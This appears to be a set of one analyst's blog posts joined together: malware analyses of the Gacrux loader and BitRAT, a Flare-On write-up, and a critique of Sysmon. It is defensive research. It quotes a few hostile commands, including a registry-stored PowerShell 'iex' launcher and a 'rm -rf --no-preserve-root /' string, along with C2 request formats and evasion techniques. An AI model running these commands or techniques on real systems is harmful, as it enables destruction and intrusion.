I was given two samples of the malware known as Gacrux recently. Due to the nature of the source of the files, I won’t be able to share the hash or the files publicly, but it should be relatively easy to recognize this malware with the information provided here. The loader was developed in C and compiled with Visual Studio 2017. The malware is sold on certain forums starting from around August 2020, and appears to be heavily inspired by Smoke Loader.
Anti-analysis tricks
Gacrux features a few anti-debugging and anti-VM tricks. The first trick involves the following jumps, which leads IDA to inaccurately disassembling the instructions after.
This can easily be fixed by patching the bytes following the pair of jumps with nops. After pattern scanning and fixing this, the file can mostly be decompiled with IDA easily.
The next trick involves fake returns that disrupt IDA’s function analysis. Like before, it is easily dealt with by NOPping out the offenders.
The final obfuscation involves two functions being encrypted on disk. The decryption done right before the function is called, and the function is re-encrypted shortly afterward.
The decryption/encryption works by finding two patterns within the function that signifies the beginning and end of the encrypted region. The code in between is then XORed with a key that is passed to the function.
The bot checks the available disk space and RAM size as its anti-VM check. This is easily mitigated by breakpointing on and modifying the return value, or simply nopping out the checks.
String encryption
Strings are stored in a function which decrypts them based on the ID that was passed in.
The list of strings for the outer module can be found here.
Overall execution flow
Anti-debug and anti-VM tricks
There are some anti-debug tricks littered throughout the code. They are for the most part mixed into important functions and will crash the process if a debugger or VM is detected. The first trick is located in the malloc function, it checks the BeingDebugged member of the PEB, if it is set the function will return the size of the requested buffer instead of allocating it. In addition to this, it checks for blacklisted modules and exits if any are present.
The second trick increments the PID of explorer if the system has too little RAM or disk space – often a sign of virtualization. This would of course result in NtOpenProcess failing and prevent execution from proceeding any further.
The injected initialization shellcode/custom PE loader (which will be explored in further details later) also performs a check of the BeingDebugged and NtGlobalFlag members of the PEB.
Syscall
The syscall module is almost entirely copied from an open-source crypter.
The hashing algorithm has been changed to djb2, with the output being xored with a constant value.
Persistence
Persistence is achieved via a Window Procedure that is repeatedly called inside the context of explorer.exe. This procedure checks the installed file and creates the startup .lnk file in the startup directory if it is not present.
Code Injection
For code injection, Gacrux uses NtCreateSection/NtMapViewOfSection as the write primitive on 32-bit environments, and NtAllocateVirtualMemory/NtWriteVirtualMemory on 64-bit environments, both done via direct syscalls. For the execution primitive, it abuses SetPropA as detailed by Adam in his article “PROPagate – a new code injection trick“. This is copied from open-source implementations, as evidenced by the way the function pointer is set up.
The injection is used to invoke a tiny custom PE loader, which’s description follows.
Custom PE Loader and format
This is the most interesting feature of Gacrux. The code injected into explorer is not a regular PE file but rather one with a customized PE header and a customized loader.
The loader first has some antidebug checks.
Then, it resolves 3 APIs and uses them to process the import table and fix up relocation.
Finally, it flushes the instruction cache and calls the entrypoint.
The PE Loader utilizes a custom PE format, the Kaitai descriptor for it can be found here. With the information listed, we can easily restore the original PE file.
Modules
I do not have access to any module files and as such cannot describe them. The module loader is entirely copy-pasted from the MemoryModule project on Github.
Networking
Networking uses WinInet. This is done from the context of explorer after injection of course.
Final remarks
As we can see, there is not much that is special when it comes to Gacrux. It copies a lot of public code with slight modifications and is filled with bugs (which I have not described in the article as I have no intention of helping the author fix them). The custom PE format was quite interesting to look at, and I had some fun reverse engineering that.
This was my first flare-on and it was quite fun. I ended up procrastinating for a few weeks after finishing challenge 10 so the end result was not quite what was desired. So here are my thoughts on challenges that I consider to be interesting, which mainly focuses on challenge 9 and 10. As the official writeup will come out soon and will no doubt be far better than my writeup, I’ll likely not edit it too much.
Challenge 6
This was a frustrating challenge that took me 11.5 hours (mostly spent figuring out non-solutions) to solve. The binary is a QR code generator written in AutoIt. I initially expected this to be easy since AutoIt was my home turf (however out of practice I might be), however, this proved not to be the case. The deobfuscation was fun and easy to write as the obfuscation is extremely simple. However the final part took far too long, it took me around 8 hours to figure out that the decryption function was collecting bits and combining them into bytes 7 at a time to generate the desired password.
Challenge 7
This is by far my favorite challenge. In short, we have a pcap file of a network attack against an IIS server exploiting CVE-2017-7269. After identifying the exploit, the first step was to extract the shellcode. Initially, I could not get it working, but then after reading an article on the exploit that shows the disassembly of what’s going on behind the scene, I realized that the shellcode is to be converted to wide strings, and after that things were fairly simple. We had to fix up the register in a debugger (I believe ESI was to point to the beginning of the buffer), and then debug and then continuously dump the next stages until we get the flag data.
Challenge 8
I dislike this challenge. The flag was a gibberish string unlike the other challenges so I spent hours that I shouldn’t have. If not for that it would’ve been quite fun. My solution was dumping the ELF binary, patching it so that the check always returns ‘X’, repackage it in the resource and then run it.
Challenge 9
This challenge was fun. The challenge file is a PE file which does 2 things: load a driver using CapCom, and registers a COM DLL.
The manual mapper is written by the author and can be found here. The main difference between the public implementation and the private one is simply some slight obfuscation and the change in the pooltag. The mapped driver registers a registry callback.
Knowing that a driver is in play, I applied one of my techniques for dynamic analysis here that I have not seen discussed anywhere else (though I am sure it has been done by many before). The technique in essence is hooking the free function and dumping the buffer content before freeing. This allows us to see a lot of interesting information in binaries simply by running it without the need for debugging or anything else. In this case, as the target is a kernel driver, I used a hypervisor to hook ExFreePoolWithTag and dump the pool if the caller is not a valid target driver image. This gave us a very interesting string, “H@n.$h0t.FiRst!”, which will later be used. Now, onto static analysis, we can see that the driver registers a registry callback.
Inside it, it checks if the registry key operation is on the COM key “{CEEACC6E-CCB2-4C4F-BCF6-D2176037A9A7}\Config”, and if it matches that, the key is created with the class set to “H@n.$Sh0t.FiRst!”. This confirms that what we extracted earlier from our hypervisor is indeed some sort of password that will be important later on.
Onto the COM DLL that is registered, we can see that it first clears the Password and Flag field inside DllRegisterServer.
This activates the registry callback described before. Next, we can see that DllGetClassObject returns to us an object with a vtable, as is typically the case with COM APIs.
Outside of the standard functions, we can see that there is a custom function which gives us another vtable
This final vtable contains two functions, one which reads the password from the “Password” key and another which decrypted a buffer with it and writes the result to the Flag key. As a result, I LoadLibrary-d and called the functions in the COM DLL to get the password. I originally planned to write a full COM client however I decided to take the more lazy route as it works just fine.
Bugs in the challenge
This challenge had several bugs in it. The first of which is that it does not work on multi-core systems due to CapCom being used in an unsafe manner, thus we have to change our VM to be single-cored.
The second bug lies in the password decryption function. Do you see the bug?
That’s right, the variable pcbData was not initialized. The documentation for RegGetValueW states that the last parameter is a “pointer to a variable that specifies the size of the buffer pointed to by the pvData parameter, in bytes”, however in this case pcbData is not initialized and as such contains a gibberish value. In some cases, we might be fortunate enough that it contains a value that is higher than the size of the registry key and as such the read is successful, however, this is not guaranteed, as the value could be zero and the read could as such fail completely.
Challenge 10
Kudos to whoever made this challenge because it was absolutely painful and fun to work with.
A brief overview of the sample, it is essentially Armadillo but on Linux, it employs the same kind of nanomite-based obfuscation using ptrace and fork. There are two main techniques that I applied for reversing the file: static analysis and LD_PRELOAD hooking. As we cannot perform regular debugging due to the presence of nanomites, I applied the same technique discussed above to dump buffers that are passed into various functions. For reasons unknown, my dlsym hook (which was required for hooking ptrace as the function was dynamically resolved) did not work on Debian, however it worked perfectly on Ubuntu. I’ll publish the code within a few days.
When we look at the main() function, it appears deceptively simple.
However, when we input the string as a flag, the binary tells us that it stole our flag. What’s going on?
Using the technique of LD_PRELOAD hooking, I intercepted various functions such as memcmp, strcmp, as well as logged calls to ptrace() to extract information about what the binary is doing. One call to memcmp in the log stands out:
Well, if that doesn’t look like a part of the flag! What would happen when we enter it into the binary? As it turns out, the binary now consumes the entire CPU core for around 10 minutes or so before telling us that our password is wrong instead of telling us so immediately. So, we’ve likely done something right.
Further static analysis reveals a function that runs before main() which forks and initializes the first nanomite.
The nanomite debugger function then uses ptrace(PTRACE_POKEDATA) to write the UD2 instruction to the sunshine check that we first saw in
When the #UD is eventually raised, execution is redirected to the real password check function.
The function is as follows.
It’s passing rm -rf –no-preserve-root / into execve? What’s going on? As it turns out, ptrace on Linux allows for the interception of syscalls and that is exactly what’s going on here. Various syscalls are intercepted by the nanomite debugger, which then does certain operations depending on the syscall ID in EAX. The syscall ID is XORed with 0xDEADBEEF and multiplied with 0x1337CAFE resulting in the final nanomite operation ID. The IDs, their syscall, and the operations that it does is listed below.
In this case, execve simply removes the new line character at the end of a string, and nice decrypts a string from a table and writes it into the debuggee.
This is then passed into memcmp in the real password check function we’ve seen above. And voila, we have verified that what we obtained earlier is in fact the first part of the flag.
After this, we enter the function that I’ve named “stringhash_teaenc”. This function is the reason why the binary takes forever to run, as it employs not just 1 but 2 layers of nanomite to obfuscate it’s encryption algorithm.
As we can see, it gets a string using nice() and hashes it with crc64. This is then used as the decryption key to decrypt a buffer, which’s initial 20 bytes have been overwritten with the password. The entire buffer decrypts fine except for the first 20 bytes which are invalid as we do not have the password. The rest contains the entire Bee Movie script with a weird binary blob in the middle, which we will revisit later. The tea decryption functions are as follow.
There are several things going on here:
The uname, pivot_root, chmod and mlockall syscalls are handled by the nanomite 1 debugger. The first 2, uname and pivot_root are simple and their operation can be easily seen in the comments above. The other 2 are more complicated. As we can see below, the mlockall handler tries to call the variable call_nanomite2. This was previously initialized to 0. The result is a SIGSEGV, which is then handled by the second nanomite debugger that we saw created earlier.
In this case, the operation simply set eax to the second parameter + 1.
The chmod call was similar, however in this case it does multiple operations, not just 1.
As we can see, there are multiple calls to 0 inside the tea decrypt function. This is handled similarly to the way the first nanomite debugger called the second nanomite debugger, however the operation in question is a loop.
In essence, null_call(&loop_start_address, &counter) will loop the counter from 0 to 15 and then returns.
Summing this up, we have enough information to begin implementing a non-obfuscated version of the encryption function. We can identify that it is a TEA-like algorithm based on the constant we retrieved (0x9e3779b9c6ef3720), and the key to the function is the CRC64 hash of a string, which is 0x674a1dea4b695809. Reversing the algorithm, we can decrypt the next part of the flag, which was located in the first 20 bytes of the buffer we saw earlier. We got “4nD_0f_De4th_4nd_d3strUct1oN_4nd”, which makes it “w3lc0mE_t0-Th3_l4nD_0f_De4th_4nd_d3strUct1oN_4nd”.
Recall the buffer I mentioned that was stuck in the middle of the Bee Movie script? That turns out to be a shellcode that does quite a lot of math. It’s not actually called, but reversing it will reveal the final part of the flag. The function in question uses a bignum library to do some calculation based on some data in the binary.
The first problem we have to solve is passing the first check involving bignum_03 and bignum_09. A simplified version of the function stripping out everything that’s irrelevant is as follow:
To pass the equality check, bignum_04 ^ bignum_rand mod bignum_01 must be equal to bignum_03. And as we can see, bignum_04 and bignum_03 are both the same value, and is less than bignum_01. This means that bignum_04 mod bignum_01 == bignum_04, and as such the bignum_rnd value should be 1 to ensure the equality.
Here, one of the images that was decrypted earlier in the binary gives us a hint as to how to solve the next part. This stackoverflow page might also be helpful.
As this part was solved with the help of someone who’s better at math than me, I’ll avoid inadequately explaining it and simply not explain it at all. You can check the official writeup for a detailed explanation when it comes out. Anyhow, solving it, we obtain the last part of the flag, “_n0_puppi3s@flare-on.com”.
Challenge 11
Challenge 11 is an DFIR challenge where we analyze the registry dump of an user infected with a Gozi-ISFB malware variant. It does not feature anything difficult like challenge 10, rather it is mostly tedious due to the huge amount of things to look through. Hasherezade’s tools were extremely helpful (though it didn’t support 64-bit binaries properly and I had to add that myself). Diaphora was also extremely helpful.
The startup of the malware was interesting and is one I have not seen before. It uses a GroupPolicy Logon Script to execute the powershell script that was stored inside another registry key. The string decodes to “iex (gp ‘HKCU:\SOFTWARE\Timerpro’).D”.
I couldn’t get Autoruns to work properly on the hive, so I initially did not find this, rather, I found the script stored inside TimerPro directly.
During my initial analysis, there were several features in BitRAT that I did not have the opportunity to fully analyze. As such, I thought another post is merited to explore these functionalities further. In addition to this, analysis of the binary revealed strong similarities and shared code with the Revcode malware. We could from this infer that BitRAT has a significant relationship to Revcode, whether it is the developers sharing code or the developers being in fact the same person. The information leading to this assessment will be explored in detail in the last section of the post.
Hidden Browser
I did not explore the Hidden Browser feature in much detail initially, as I assumed it would merely be an interface built on top of TinyNuke’s HVNC. However, this assumption was incorrect. The Hidden Browser (command 65-6E) is implemented separately and from scratch. The first command (0x65) calls the remote browser initializer (004B6A64), which is a considerably large function due to the heavy use of STL, Boost, and string obfuscation. Due to this, screenshots will be combined and cut to fit in the article. First, it generates a random 16-character string, which it then uses to create a named desktop.
Then, it tries to obtain the default installed browser by querying the file association for the “.html” extension.
Currently, only Chrome is supported and the function returns prematurely if another browser is set as the default .html handler. BitRAT then checks to see if Chrome is already running. If this is the case, it creates a new browser profile in the temp directory, otherwise it uses the default profile.
It then appends some parameters disabling certain chrome features as is typical of HVNC browsers, creates the process and saves the browser window’s handle.
After this, the current thread enters a loop where it continuously screenshots the current browser and sends it back to the C2 server. The screenshot function makes use of BitBlt and GDI to take the screenshot, then convert it to a JPEG image and passes it back.
For interfacing with the tor service that is dropped to disk, BitRAT makes use of the SOCKS5 library “socks5-cpp“. Interestingly, around 3 years ago a Steemit post was made describing how to use this specific library for sending traffic through Tor, this is presumably where the idea was taken from.
UnknownProducts, BitRAT, and the link to Revcode
A few days after I posted my initial article on BitRAT, @tildedennis noted that BitRAT is quite similar to the Revcode malware. Though I didn’t see it for a few days due to Twitter filtering out the notification, I was immediately interested for several reasons:
I’ve dealt with Revcode before and have identified its author as Alex Yücel, notorious for developing the Blackshades malware.
I knew that at one point, Revcode had a C++ payload that used Boost; however, I have not until now had a sample of this to look at and have only reverse-engineered the VB variant of it. The usage of Boost was shortly removed after it was implemented.
UnknownProducts’ timezone is GMT+2, which matches Sweden. He previously pretended to be Russian, however this is utterly unconvincing for various reasons.
Given this reliable indicator that the two are possibly linked, a comparison between a sample of Revcode’s Boost variant (be535a8c325e4eec17bbc63d813f715d2c8af9fd23901135046fbc5c187aabb2) and BitRAT is in order. The sample was trivial to unpack, the packer stub was built on 18 Jan 2019 05:29:34 UTC and the Revcode file inside was built on 20 Dec 2018 03:02:36 UTC.
RunPE
What first caught my eye when reverse engineering BitRAT’s RunPE is how injection APIs are imported statically (refer to the previous post) and how a function parameter controls the return value.
While the rest of the RunPE was copy-pasted, I could not find any public RunPE implementation that has such an option for the return value or even one that references dwProcessId. As such, I immediately searched for references to injection-relevant APIs within Revcode and immediately found a virtually identical function with the same method for controlling the return value.
The rest of the code was virtually identical, with the only significant difference being that BitRAT encrypts the “NtUnmapViewOfSection” string.
RunPE in BitRAT
RunPE in Revcode
Keylogger
BitRAT’s keylogger hook callback (4ABC8D) decodes key data into human-readable strings. For example, the strings “{NUMPAD_2}”, “{NUMPAD_5}”, “{NUMPAD_7}”, “{F12}” are used to represent such keys. The same strings are used in Revcode. In fact, the entire keyboard hook function is identical.
Part of BitRAT’s keylogger callback
Part of Revcode’s keylogger callback
Service Manager function
The service manager shares identical strings such as “Boot Start,” “Win32 share process”, “The service is stopped,” “The service is in the process of being stopped.” While these strings are likely widely used elsewhere, they are referenced in the same manner and order. Furthermore, a comparison of the control flow graph reveals that BitRAT’s service manager only differs in complexity and length due to string encryption and SEH.
The flow graph of the service manager function. BitRAT is on the left, while Revcode is on the right.
Identical command handling mechanisms
A significant amount of command names are similar between the two malware. Both abbreviates “process” as “prc”. Both do not abbreviate “webcam”. Furthermore, both BitRAT and Revcode set up a table of command strings and command IDs the same way. The command string gets passed to a function that returns a DWORD pointer, which is dereferenced to set the command ID. The only difference between the two in the command text and the lack of string encryption in Revcode.
BitRAT’s command list initialization
Revcode’s command list initialization
Audio recording
BitRAT and Revcode both use A. Riazi’s Voice Recording library for recording audio from machines infected by it. The only difference is that in BitRAT the debugging strings are stripped out while they are present inside Revcode.
CVoiceRecording::Record in BitRAT
CVoiceRecording::Record in Revcode
Other shared strings
Some tag strings presumably for formatting data for communication are common between the two.
Decrypted BitRAT strings
Strings from the Revcode binary
Conclusion
Given the findings above, it should be fairly evident that BitRAT is a successor to Revcode’s Boost payload. Sadly, UnknownProducts’ bid to remain unknown did not work out too well due to the practice of code reuse. While it is possible that the relationship is based only on code-sharing, the combination of the matching timezone makes this unlikely to be the case. Revcode dropped around March 2019, and in April 2019, UnknownProducts posted the initial development thread for BitRAT. The product was finally released in June, suggesting that Revcode’s Boost and non-Boost codebase were split into two, one for sales as Revcode and one for sales as BitRAT. This split was probably done to increase sales and market presence and to allow the aggressive marketing of illicit features such as HVNCs and remote browsers, which are meant exclusively for fraud.
Short quick post, MSVC has finally added support for inlining lambdas. It was added to the preview late June, and finally was released early August (after people asking for this feature for 2+ years). You can explicitly tell the compiler to inline a lambda by using [[msvc::forceinline]] now.
Generated code:
This is done with #pragma optimize(“”, off), if optimization was on everything would be optimized to return the final number.
To yearn for an HVNC sample that is not ISFB or TinyNuke is a sure sign that you are reverse engineering too much malware.
– Me
I was recently made aware of a somewhat new malware being sold under the name “BitRAT” by the seller “UnknownProducts” on HackForums. As far as I know, there has been no public analysis of this malware yet. The seller’s comments indicate inexperience with malware development, as demonstrated by him bragging about using Boost, OpenSSL, and LibCURL in his malware.
The screenshot provided was even more laughable, as we can see the developer used std::thread along with sleep_for. Given the heavy use of such libraries, the malware might as well be in Java. The naming convention is also inconsistent, mixing Hungarian notation (bOpen) with snake_case (m_ssl_stream), with the latter name being copied from an open-source project.
The Tor binary is also dropped to disk, something which no competent malware developer would do. Anyways, enough about the author’s posts, let us move on to analyzing the files at hand. The goal of this analysis is to do the following:
Analyze the controller and see how it communicates with the developer’s server.
Break the various obfuscation and anti-analysis tricks used by BitRAT.
Analyze the behavior and functionality of the RATs and how some features are implemented.
Study the relationship between BitRAT and several other malware that it is related to.
The Controller
In this section, I’ll describe BitRAT’s licensing protocol and how the malware controller determines whether the person running it is a paying customer or not. The controller software is developed in .NET and is obfuscated with Eazfuscator. The version I have was compiled on the 17th of August at 11:35:05 UTC.
The licensing protocol starts with the following HTTP request being sent:
GET /lic.php?h=HWID&t=unknown_value&s=unknown_value HTTP/1.1
Host: unknownposdhmyrm.onion
Proxy-Connection: Keep-Alive
The response is the following string, base64 encoded:
unknown_value|NO if not licensed, OK if licensed|0|1.26|1|base64_status_update_message||
If there is no valid license associated with the HWID, the following 2 requests are made to create a purchase order:
GET /step_1.php?hwid=HWID&uniqueid=HWID&product_id=1 HTTP/1.1
Host: unknownposdhmyrm.onion
Proxy-Connection: Keep-Alive
GET /step_2.php?product_id=1&step=2&uniqueid=HWID HTTP/1.1
Host: unknownposdhmyrm.onion
Proxy-Connection: Keep-Alive
If you want to update your HWID, the following request is made
GET /hwid_update.php?hwid_old=[oldhwid]&hwid_new=[newhwid] HTTP/1.1
Host: unknownposdhmyrm.onion
Proxy-Connection: Keep-Alive
The payloads are built on the vendor’s server.
GET /client/clientcreate.php?hwid=hwid_here&type=standard&ip_address=google.com&tcp_main_port=3933&tcp_tor_service_port=0&install_folder=google&install_filename=googleee.exe&pw_hash=535c3fd67cf3e03b01bcc6b7e64e410&tor_prcname=0 Host: unknownposdhmyrm.onion
Proxy-Connection: Keep-Alive
The parameters are as follow:
hwid: self explanatory
type: "standard" or "tor"
ip_address: self explanatory
tcp_main_port: self explanatory, 0 if tor
tcp_tor_service_port: 80 if tor, 0 if standard
install_folder and install_filename: self explanatory
pw_hash: MD5 hash of the selected communication password.
tor_prcname: name of the dropped tor.exe binary. 0 if standard.
The server runs Apache/2.4.29 (Ubuntu) and has a directory called “l” with contents unknown.
The Payload
The main sample that I will discuss is 7faef4d80d1100c3a233548473d4dd7d5bb570dd83e8d6e5faff509d6726baf2. It is written in Visual C++ with libraries including Boost, libCURL among other libraries. It was compiled with Visual Studio 2015 Build 14.0.24215 on the 14th of August at 01:32:11 UTC. The first part of the following section will discuss some of the obfuscation that BitRAT uses, the rest will focus on discussing the behaviors and functionalities as well as how those are implemented.
String Pointers
The file for reasons that are initially unknown stores string pointers into an array instead of using them directly. This is dealt with rather easily using an IDAPython script (attached at the end of the article).
Before (top) and after (bottom) renaming
Dynamic API
Some APIs in the file are loaded dynamically. The code for loading this is quite strange. First, LoadLibraryA is resolved and some DLLs are loaded with it. Then, the author resolved GetProcAddress using GetProcAddress. This highly redundant code is something that no experienced developer would write.
The APIs are then resolved. As we can see from the code the results are strangely not stored at times, for example, in this snippet WSACleanup is never stored anywhere. As was the case before, we dealt with this easily using IDAPython (the name for pmemset shown is automatically generated).
The end of the function is also shrouded in mystery, with the UTF-8 strings for the DLL names being turned into wide-character strings on the heap and then finally returned.
All of these strange quirks didn’t make sense at first, but then it struck me that I’ve seen this done before: this very API loader is a complete paste from TinyNuke. Further examination confirmed this and that some function pointers are not saved due to compiler optimization. Analyzing the code further, one could see that the entire HVNC/Remote Browser portion of BitRAT is a paste of TinyNuke with minimal modification. We’ll go into more details of this in the later section covering the HVNC/Hidden Browser.
String Encryption
Strings are encrypted at compile time using LeFF’s constexpr trick which is copied completely and unmodified. Strangely enough, Flare’s FLOSS tool does not work well on the payload for reasons unknown. As such, other less automated approaches are required for defeating this obfuscation. For this part, I had the help of defcon42 who aided greatly in writing the IDAPython scripts.
First, there are strings that are properly encrypted as LeFF intended.
Second, there are strings that MSVC for reasons unknown (read: being a bad compiler) didn’t perform constexpr evaluation on. For this, we used another script with another pattern.
Third, there are strings for which the decryption function was not inlined (as developers who are well acquainted with MSVC would know, __forceinline is much more like __maybeinlineifyoufeellikeit. Perhaps MS should consider adding the keyword __actuallyinlinewhenforceinlineisused). This is often paired with the second variant of un-obfuscation. For this, we can hook the decryptor function (which are clustered together and easy to find manually) and dump the output and caller address.
There possibly are other patterns that are generated due to compiler optimization that was missed during this process. Since the developer so nicely made use of std::string and std::wstring, I also wrote up a quick hooking library to hook the constructor of std::string and std::wstring and log the string and return address.
With this, we likely have almost all of the strings that are used by BitRAT. There possibly are some strings left over that we didn’t identify, but for the purpose of a preliminary static analysis, this is good enough.
Antidebug
BitRAT uses NtSetInformationThread with ThreadHideFromDebugger for anti-debugging purposes.
Command Dispatcher
The command dispatcher takes the form of a switch-turned-into-jump-table.
The array has 0x88 elements, corresponding to 0x88 unique commands. Initially, I attempted the tedious work of identifying what each of these commands semi-manually, but after working my way through around 30 commands I discovered a function (4D545D) where the list of command strings and their corresponding ID is built. The function takes the form of the following statement being repeated 0x88 times for each command.
Because statically extracting this information would be extremely tedious as the compiler generates code that does not fall neatly into patterns, I dumped the table dynamically through hooking the create_command_entry function. The full table of commands and corresponding ID is listed below:
cli_rc | 00
cli_dc | 01
cli_un | 02
cli_sleep | 03
[...] full list at https://gitlab.com/krabsonsecurity/bitrat/-/blob/master/command_list.txt
hvnc_start_run | 84
hvnc_start_ff | 85
hvnc_start_chrome | 86
hvnc_start_ie | 87
Following this, I’ll be discussing some of the most notable commands and features that the RAT has.
HVNC/Hidden Browser
The HVNC/Hidden Browser feature of this RAT is entirely copypasted from TinyNuke. The following functions from TinyNuke are present in their entirety:
The commands hvnc_start_explorer, hvnc_start_run, hvnc_start_ff, hvnc_start_chrome, hvnc_start_ie are simply copied from TinyNuke with minimal modifications. Below are two side-by-side comparisons of the code to show the level of copy-pasting I’m talking about. The top screenshot is TinyNuke, the bottom is also TinyNuke but inside BitRAT.
TinyNuke (top) and BitRAT (bottom)
TinyNuke (top) and BitRAT (bottom)
One of the most obvious indicators of TinyNuke’s HVNC is the traffic header value “AVE_MARIA” which UnknownProducts did not change.
TinyNuke (top) and BitRAT (bottom)
The HVNC client (located at data\modules\hvnc.exe) is also a complete rip-off of TinyNuke.
BitRAT’s hvnc.exe file
TinyNuke’s HVNC Server project
BitRAT’s “hvnc.exe” file
BitRAT’s “hvnc.exe” file
UAC Bypass
The UAC Bypass uses the fodhelper trick to elevate its privileges. The same code is embedded in multiple functions including the Windows Defender Killer code as well as the persistence code.
Windows Defender Killer
Arguably, this is the most laughable feature of the malware. The first few lines of assembly alone express the sheer absurdity of it.
WinExec? Are we still living in 2006? The function is only around for compatibility with 16-bit Windows!
BitRAT proceeds to run 32 different commands using WinExec to disable Windows Defender. They are as follow.
BitRAT uses the BreakOnTermination flag through the function RtlSetProcessIsCritical (48563B) to cause a bugcheck on termination of the process. This is done when the command line parameter -prs is present. In addition, it also attempts to elevate privileges using the fodhelper method whenever persistence is activated.
Webcam and Voice Recording
Both of these rely on open source libraries, OpenCV for webcam capture, and A. Riazi’s Voice Recording library with some debugging code removed.
Download and Execute
Usually, I would not discuss such a trivial function, but the malware author managed to write this in a peculiarly terrible way. There are basically two different methods of downloading: the first performs the typical URLDownloadToFile + ShellExecute combo.
The peculiarity lies in the second execution path. Here, the developer opted to use libcurl to download the file to memory and then uses process hollowing/runPE to execute it.
The code is rather clearly copy-pasted, given the use of the default libcurl useragent. In addition, the process hollowing code used was one you would expect to see in 2008 crypters, not 2020 malware.
BSOD Generator
Like the function above, it is also rather trivial and I usually would not bother discussing this. However, even this was completely copy-pasted from StackOverflow.
The configuration is edited into the file post-compilation by replacing two strings in the binary. The first string (offset 004C9C68) contains the encrypted configuration information, and the second string (offset 004C9E6C) contains part of what will become the decryption key.
First (004E1694), the encryption key is concatenated with the string “s0lmYr” (we will discuss this further in the next section).
Then (4E16AA), the result is MD5 hashed and truncated down to 16 characters (4E16B8).
Finally (004E16FE), the key is used to decrypt the configuration block. The decryption function uses a class called “Enc”, which is a wrapper around an open source implementation of the Camellia encryption algorithm. Decrypting the configuration of the sample in question (68ac9b8a92005de3a7fe840ad07ec9adf84ed732c4c6a19ee2f205cdbda82b9a4a05ae3d416a39aaf5c598d75bf6c0de00450603400f480879941df9ad9f61f01959d98df31f748e8761d8aa79552c751e208a939d58edf6af7d7215412144355d9dbc1b71567ac895b3fecd3552050b0d1ac6698cf6e43d605f5cabec11853cdd7aa26dfeed45878d12c16eb95cf0805135fb2abab8632e918df7b192946e5d) with the key we generated (ac4016133b9d18e2), we get the final configuration data, which is as follow:
hostname|non-tor port|tor port|unknown value|installation folder|installation name|md5 of communication password|tor process name
The unknown value is unique across builds including builds from the same customer. It is possibly used by the malware author to track builds generated by customers but we can’t say much without guessing.
Possible Link to Warzone RAT
Recall the string that was concatenated to generate the key for decrypting the configuration.
As we know, Solmyr is the developer of Warzone, another RAT on HF. The features of the two RATs are somewhat similar, and both are copy-pasted from TinyNuke (Version 1.2 and up of Warzone had the string “AVE_MARIA” from the same stolen code leading incompetent reverse engineers at “threat intelligence” companies [1][2][3][4] to calling it “Ave Maria stealer/RAT” because they couldn’t figure out that this is just TinyNuke’s Hidden VNC).
However, there are a wide variety of differences that indicate that the two are not developed by the same person. First of all, the coding styles of the two are significantly different, Warzone was for the most part lightweight while BitRAT is heavily bloated. The portion of TinyNuke that was copy-pasted is slightly different as well, with BitRAT utilizing the API loading mechanism while Warzone used the regular import table and slightly modified the code as well. Below is the comparison of ConnectServer in the two RATs.
BitRAT
Warzone
Many functionalities are also implemented differently. For example, BitRAT uses SetWindowsHookExW(WH_KEYBOARD_LL) to perform keylogging (004AFD7A), while Warzone uses a Window callback and GetRawInputData to achieve this purpose.
UnknownProducts, the developer of BitRAT, was a customer of Warzone at one point.
It is possible that the developers of the two malware have some form of code-sharing or contractual relationship. However, as there is not much public information available regarding the relationship between the two developers, we could only speculate as to why “s0lmYr” was present as a key in BitRAT.
Final Thoughts and Notes
As is the case with most HF malware, BitRAT is best described as an amalgamation of poorly pasted leaked source code slapped together alongside a fancy C# GUI. It makes heavy uses of libraries such as C++ Standard Library, Boost, OpenCV, and libcurl, as well as code copied directly from leaked malware source code or sites including StackOverflow. The choice of Camellia is somewhat unique, I have not seen this specific algorithm used in malware before.
In marketing the malware, the author makes multiple false claims. He asserted that the malware is “Fully Unicode compatible” while the TinyNuke code used ANSI APIs, he claimed the persistence is “impossible to kill” when in reality BreakOnTermination doesn’t make the process impossible to terminate and can be easily unset the same way it was set. Features such as the Windows Defender killer are terribly done and would catch the eye of anyone monitoring the system, and last but not least, the claim that the developer “[didn’t] copy anything” is most patently untrue, thankfully we “skilled reverse engineers” did in fact “compare signatures and generic behavior”. It is disappointing how easy it is for anyone with minimal programming experience can whip up a quick malware and make a profit harming others.
7faef4d80d1100c3a233548473d4dd7d5bb570dd83e8d6e5faff509d6726baf2 (I’ve uploaded this to VirusBay, if you have access to neither VT and VB feel free to message me on Twitter and I’ll share the file.)
TLS certificate with subject matching issuer and CN=BitRAT.
Tor traffic.
User-agent: “libcurl-agent/1.0” (though this would also be present in some legitimate traffic).
Tools
I’ve published the source code of several scripts and tools I made during the process of reverse engineering. I’ve only published one of the string decryption scripts because the rest are rather unfinished and unreliable. The command hook tool uses the Subhook library. You can view the code on Gitlab.
This is going to be a relatively short post which won’t contain much code in itself but rather some observations I made on the state of existing security and logging utilities, with Sysmon’s handling of usermode modules being the case study.
Recently, a lot of people realized that Sysmon’s stack trace feature is quite useful for detecting code execution from non-module memory. This feature is indeed very nice and can detect most existing attacks which rely on code injection or manual mapping, however the implementation is significantly flawed. 0x00dtm rightly pointed out this out, which resulted in anyone being able to tamper with the PEB and feed false data to Sysmon.
This issue is not isolated, it is the norm. A significant amount of existing EDRs and monitoring tools rely on information that is fully controllable by the threats they’re supposed to stop. From usermode hooking to relying on the PEB for information about a process, the assumption that usermode data is safe for consumption is ubiquitous. Does this not clearly create a giant gap where an attacker can manipulate the information that EDRs and SIEMs depend on to provide context to defenders, giving them the ability to deceive defenders and security solutions?
Given this example of Sysmon relying on PEB to find out where calls are coming from and the problem with it, what is the right way to do things that doesn’t rely on information controllable by the attacker? Why, APIs provided by the Windows Kernel for this very purpose, of course. Calling ZwQueryVirtualMemory with MemoryMappedFilenameInformation will get you the module a memory address belongs to (if any) in a reliable manner.
Here’s a bit of in-depth details which hopefully explains why this method is more reliable than reading PEB. The VAD tree structure describes the virtual address space of a process. VAD (Virtual Address Descriptor) entries have a _CONTROL_AREA structure, which contains the field FilePointer of type _FILE_OBJECT. This field is set whenever Windows map a file to a process’s virtual memory, and points to a descriptor for the file that was mapped. And, where does this all get stored? In the kernel address space. What does this mean? That means this information is out of reach for an attacker sitting in usermode, who has no way to mess with the VAD the way they could freely modify the PEB.
Given this, a question must be asked. Why are people still making the assumption that we can trust the integrity of usermode data, which is fully controllable by any attacker who has achieved code execution?
